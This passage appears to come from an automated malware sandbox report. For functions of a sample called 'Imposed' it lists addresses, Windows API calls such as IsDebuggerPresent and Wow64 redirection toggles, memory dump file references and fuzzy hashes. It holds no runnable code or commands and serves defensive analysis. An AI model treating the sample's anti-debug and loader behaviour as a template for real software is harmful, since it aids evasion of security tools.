                                                                                                                                                                • Instruction Fuzzy Hash: B8F08230108384DBEB34CBA4CC89FEA73ACEB85300F004A28F649D30D0EB749489DB16
                                                                                                                                                                Function 009A0AB6 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 460COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID: CALL
                                                                                                                                                                • API String ID: 0-4196123274
                                                                                                                                                                • Opcode ID: 9dd7248babaeef8e58bc2453a90aefc09bc6c7905453b87e6be2cc0411b88047
                                                                                                                                                                • Instruction ID: 6626503fb547009641491209e0900812c480a1f798936a12144870c0fc05394e
                                                                                                                                                                • Opcode Fuzzy Hash: 9dd7248babaeef8e58bc2453a90aefc09bc6c7905453b87e6be2cc0411b88047
                                                                                                                                                                • Instruction Fuzzy Hash: 6912A9715083419FCB24DF28C494B6ABBE1BFC5314F25886DE89A8B262D775EC45CB82
                                                                                                                                                                Function 009A3A70 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 220COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 009A3D44
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Init_thread_footer
                                                                                                                                                                • String ID: CALL
                                                                                                                                                                • API String ID: 1385522511-4196123274
                                                                                                                                                                • Opcode ID: f66102b6b3512ca1b665a701e3dd5102094f1dc896b757f91e130b108658c584
                                                                                                                                                                • Instruction ID: c4621e061e8d069b0c5dbb3cf70c202c708143cc68cb85116492324713c31f34
                                                                                                                                                                • Opcode Fuzzy Hash: f66102b6b3512ca1b665a701e3dd5102094f1dc896b757f91e130b108658c584
                                                                                                                                                                • Instruction Fuzzy Hash: 69918C70108241EFCB14DF14C845B5ABBF1BF85364F14895CF89A5B3A2CB71EA55CB92
                                                                                                                                                                Function 00992950 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetOpenFileNameW.COMDLG32(?), ref: 009D36EF
                                                                                                                                                                  • Part of subcall function 009950F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00995035,?,?,009D4641,?,?,00000100,00000000,00000000,CMDLINE), ref: 00995117
                                                                                                                                                                  • Part of subcall function 009932E0: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 009932FF
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Name$Path$FileFullLongOpen
                                                                                                                                                                • String ID: X
                                                                                                                                                                • API String ID: 779396738-3081909835
                                                                                                                                                                • Opcode ID: db67dc478d720cef728bab3c28c99a3a3e3e98506ceb177522bc7a9af5a57504
                                                                                                                                                                • Instruction ID: cc7496ffffabf54faf34ae1e46895bdf4bb90f01b008a81405d72f0133cf0e08
                                                                                                                                                                • Opcode Fuzzy Hash: db67dc478d720cef728bab3c28c99a3a3e3e98506ceb177522bc7a9af5a57504
                                                                                                                                                                • Instruction Fuzzy Hash: C621A870904248ABCF01DF98D805BEE7BFCAF89315F00801AE405B7341DBB85A498FA1
                                                                                                                                                                Function 009B0090 Relevance: 3.1, APIs: 2, Instructions: 94COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseErrorHandleMode
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3953868439-0
                                                                                                                                                                • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                • Instruction ID: 4673cbe44f8762bac75e20fc83d6afd1e26c7bc85de764a5557e3ab35eacb796
                                                                                                                                                                • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                                                                                                                • Instruction Fuzzy Hash: 9231D774A04105DFC718DF58DA90AAAF7B9FB89320B6486A5E409CB251DB31EDC1CBD0
                                                                                                                                                                Function 00993DF8 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • Shell_NotifyIconW.SHELL32(00000000,?), ref: 00993EC9
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: IconNotifyShell_
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1144537725-0
                                                                                                                                                                • Opcode ID: 9b252f0bbab6164bc912301405d171abb43462f9a218221b385914eef4a036b7
                                                                                                                                                                • Instruction ID: 3fd118f1a46859641ea8c092592279701a57f9a1cd98ca54e9e11acacfc1fd65
                                                                                                                                                                • Opcode Fuzzy Hash: 9b252f0bbab6164bc912301405d171abb43462f9a218221b385914eef4a036b7
                                                                                                                                                                • Instruction Fuzzy Hash: C13161706047018FDB21DFA8D8847A7BBF8FB48758F00492DF59A87381E7B5A945CB52
                                                                                                                                                                Function 009928E0 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • IsThemeActive.UXTHEME ref: 00992902
                                                                                                                                                                  • Part of subcall function 009928AB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 009928C0
                                                                                                                                                                  • Part of subcall function 009928AB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 009928D7
                                                                                                                                                                  • Part of subcall function 0099331E: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,0099292D,?), ref: 0099334E
                                                                                                                                                                  • Part of subcall function 0099331E: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,0099292D,?), ref: 00993361
                                                                                                                                                                  • Part of subcall function 0099331E: GetFullPathNameW.KERNEL32(00007FFF,?,?,00A62408,00A623F0,?,?,?,?,?,?,0099292D,?), ref: 009933CD
                                                                                                                                                                  • Part of subcall function 0099331E: SetCurrentDirectoryW.KERNEL32(?,00000001,00A62408,?,?,?,?,?,?,?,0099292D,?), ref: 0099344E
                                                                                                                                                                • SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 0099293C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1550534281-0
                                                                                                                                                                • Opcode ID: 74e17f385745fc869982edd4365a46b572741d0c843c6ba061694b0c43b7756a
                                                                                                                                                                • Instruction ID: 363974017289777073d6b97a54134d800234a7d0890bda76567d5de845042b86
                                                                                                                                                                • Opcode Fuzzy Hash: 74e17f385745fc869982edd4365a46b572741d0c843c6ba061694b0c43b7756a
                                                                                                                                                                • Instruction Fuzzy Hash: DAF05E72540B04AFEB10EBE4ED4AB6437B4A704725F004825F5014E2F3CBF990528B40
                                                                                                                                                                Function 009A3150 Relevance: 2.1, APIs: 1, Instructions: 587COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 009A358E
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Init_thread_footer
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1385522511-0
                                                                                                                                                                • Opcode ID: ea85d14506bc899f231b2da97abd09fecfbad16eacdaae8393a042507d438601
                                                                                                                                                                • Instruction ID: 5d8a1f2dc64361355fb84e75899d583299762d4a423d543c797f2af846ae345a
                                                                                                                                                                • Opcode Fuzzy Hash: ea85d14506bc899f231b2da97abd09fecfbad16eacdaae8393a042507d438601
                                                                                                                                                                • Instruction Fuzzy Hash: A932BC31A04245AFCF11CF99C884BBAB7B9EF46310F148459F91AAB351DB74EE42CB91
                                                                                                                                                                Function 00A1785D Relevance: 1.8, APIs: 1, Instructions: 326COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LoadString
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2948472770-0
                                                                                                                                                                • Opcode ID: b32b1d72269dd1c1a20f6ab8290595acf02e74acb63e0f4a732837a63a07c0fd
                                                                                                                                                                • Instruction ID: c4812db30c8a9d17d8907f240cd5f1fab9d57bede29fe0c1ef461243f1c2747c
                                                                                                                                                                • Opcode Fuzzy Hash: b32b1d72269dd1c1a20f6ab8290595acf02e74acb63e0f4a732837a63a07c0fd
                                                                                                                                                                • Instruction Fuzzy Hash: 2FD13C75A08209DFCF14EF98D8819EEBBB5FF58310F144159E915AB291DB30AE85CB90
                                                                                                                                                                Function 009BF1B6 Relevance: 1.7, APIs: 1, Instructions: 151COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: ab36f9152ec5520a202b3b47651d8601e27f0fe407db9e3ed215b1dd57a2a64a
                                                                                                                                                                • Instruction ID: 1a80e7619c328db30f2524378875ace786095f36b1ebde3922ae826fcb08170c
                                                                                                                                                                • Opcode Fuzzy Hash: ab36f9152ec5520a202b3b47651d8601e27f0fe407db9e3ed215b1dd57a2a64a
                                                                                                                                                                • Instruction Fuzzy Hash: 5D51C371A00208AFDB10CF68CD64BED7BE5EB85374F1981A9E8589B391C731ED42CB50
                                                                                                                                                                Function 009FFB75 Relevance: 1.6, APIs: 1, Instructions: 136COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CharLowerBuffW.USER32(?,?), ref: 009FFB8E
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: BuffCharLower
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2358735015-0
                                                                                                                                                                • Opcode ID: 7a478fb4b9ad582e6c0776e9708cab0590a44f7a2d3485ac7c78abe96d252135
                                                                                                                                                                • Instruction ID: 07f61d771cedcd26ae065b99aa900b66d0528168021db53984cda238a3d39d66
                                                                                                                                                                • Opcode Fuzzy Hash: 7a478fb4b9ad582e6c0776e9708cab0590a44f7a2d3485ac7c78abe96d252135
                                                                                                                                                                • Instruction Fuzzy Hash: 4D41867690020DAFDB15DFA8C8919BEB7B8EF84314B10893EEA56D7251EB70DA05CB50
                                                                                                                                                                Function 00992BE0 Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099320E: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00992BF2,?,?,00992B95,?,00000001,?,?,00000000), ref: 0099321A
                                                                                                                                                                  • Part of subcall function 0099320E: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 0099322C
                                                                                                                                                                  • Part of subcall function 0099320E: FreeLibrary.KERNEL32(00000000,?,?,00992BF2,?,?,00992B95,?,00000001,?,?,00000000), ref: 0099323E
                                                                                                                                                                • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00992B95,?,00000001,?,?,00000000), ref: 00992C12
                                                                                                                                                                  • Part of subcall function 009931D7: LoadLibraryA.KERNEL32(kernel32.dll,?,?,009D3B55,?,?,00992B95,?,00000001,?,?,00000000), ref: 009931E0
                                                                                                                                                                  • Part of subcall function 009931D7: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 009931F2
                                                                                                                                                                  • Part of subcall function 009931D7: FreeLibrary.KERNEL32(00000000,?,?,009D3B55,?,?,00992B95,?,00000001,?,?,00000000), ref: 00993205
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Library$Load$AddressFreeProc
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2632591731-0
                                                                                                                                                                • Opcode ID: 95c5adf39826185a76a6c122c4f53114cd21dd2eac9225921cc4f89bef75a827
                                                                                                                                                                • Instruction ID: be990b3c5161ae14682600ad8094d88297eaf5e1d801d40d0293dd2697a9a120
                                                                                                                                                                • Opcode Fuzzy Hash: 95c5adf39826185a76a6c122c4f53114cd21dd2eac9225921cc4f89bef75a827
                                                                                                                                                                • Instruction Fuzzy Hash: 58112732740205BBDF24AF28CD02BAD77A5AF84711F20842EF482A71D2EE749A059790
                                                                                                                                                                Function 009C8822 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: __wsopen_s
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3347428461-0
                                                                                                                                                                • Opcode ID: 284914b36753406a29ebe000675c68b7743e5ff349b1cf7211b2f8dd36c6b67e
                                                                                                                                                                • Instruction ID: 7c19dd49209dfdfc8e733561e8642b417d2537d6a8457f7fc62cea67b131813d
                                                                                                                                                                • Opcode Fuzzy Hash: 284914b36753406a29ebe000675c68b7743e5ff349b1cf7211b2f8dd36c6b67e
                                                                                                                                                                • Instruction Fuzzy Hash: B6111C71904209AFCB05DF98E941E9B7BF9EF48310F104069F819AB351DA31DA118B65
                                                                                                                                                                Function 009C5420 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 009C509D: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,009C3249,00000001,00000364,?,00000000,?,009C2C3D,009C3C83,?,?,009B0215,00000000), ref: 009C50DE
                                                                                                                                                                • _free.LIBCMT ref: 009C548C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AllocateHeap_free
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 614378929-0
                                                                                                                                                                • Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
                                                                                                                                                                • Instruction ID: adcf11dca1a59143162bdc12bee217ef90afad6440b4028aaf632d82e22cf079
                                                                                                                                                                • Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
                                                                                                                                                                • Instruction Fuzzy Hash: D6012672A007046FE325CF659841F5AFBDDEB89370F260A2DE194832C0EA30B985C675
                                                                                                                                                                Function 009BEA22 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 0b9f836960ab58fccbfac0efb01fc85afbfff16d2c470218f1775939f83e5553
                                                                                                                                                                • Instruction ID: 7e4e25515b12d0bd95347b21f06b354d64fdcfe289bba63b5eea92c476dbcf68
                                                                                                                                                                • Opcode Fuzzy Hash: 0b9f836960ab58fccbfac0efb01fc85afbfff16d2c470218f1775939f83e5553
                                                                                                                                                                • Instruction Fuzzy Hash: ABF02232901A189BCA323A698D06FDB379CAFC2370F154B1DF824961D1DB74E80286A3
                                                                                                                                                                Function 00A0F733 Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00A0F770
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: EnvironmentVariable
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1431749950-0
                                                                                                                                                                • Opcode ID: cffc3c950d7f8d38c7779e9182fcad951a356ab80ff56681226c83c3f39a0652
